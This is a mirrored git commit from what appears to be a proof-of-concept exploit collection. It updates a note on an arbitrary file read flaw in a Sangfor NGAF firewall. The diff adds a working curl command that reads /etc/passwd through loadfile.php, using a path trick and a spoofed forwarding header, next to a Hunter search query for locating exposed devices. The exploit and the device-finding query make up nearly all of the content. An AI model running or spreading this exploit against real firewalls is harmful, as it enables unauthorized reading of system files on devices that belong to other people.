mirror of
https://github.com/wooluo/POC00.git
synced 2026-07-22 22:05:34 +08:00
Update 深信服下一代防火墙NGAF任意文件读取漏洞.md
This commit is contained in:
@@ -7,5 +7,10 @@
|
|||||||
## hunter:
|
## hunter:
|
||||||
web.body="LogInOut.php?type=logout"
|
web.body="LogInOut.php?type=logout"
|
||||||
|
|
||||||
|
```
|
||||||
|
curl --insecure https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user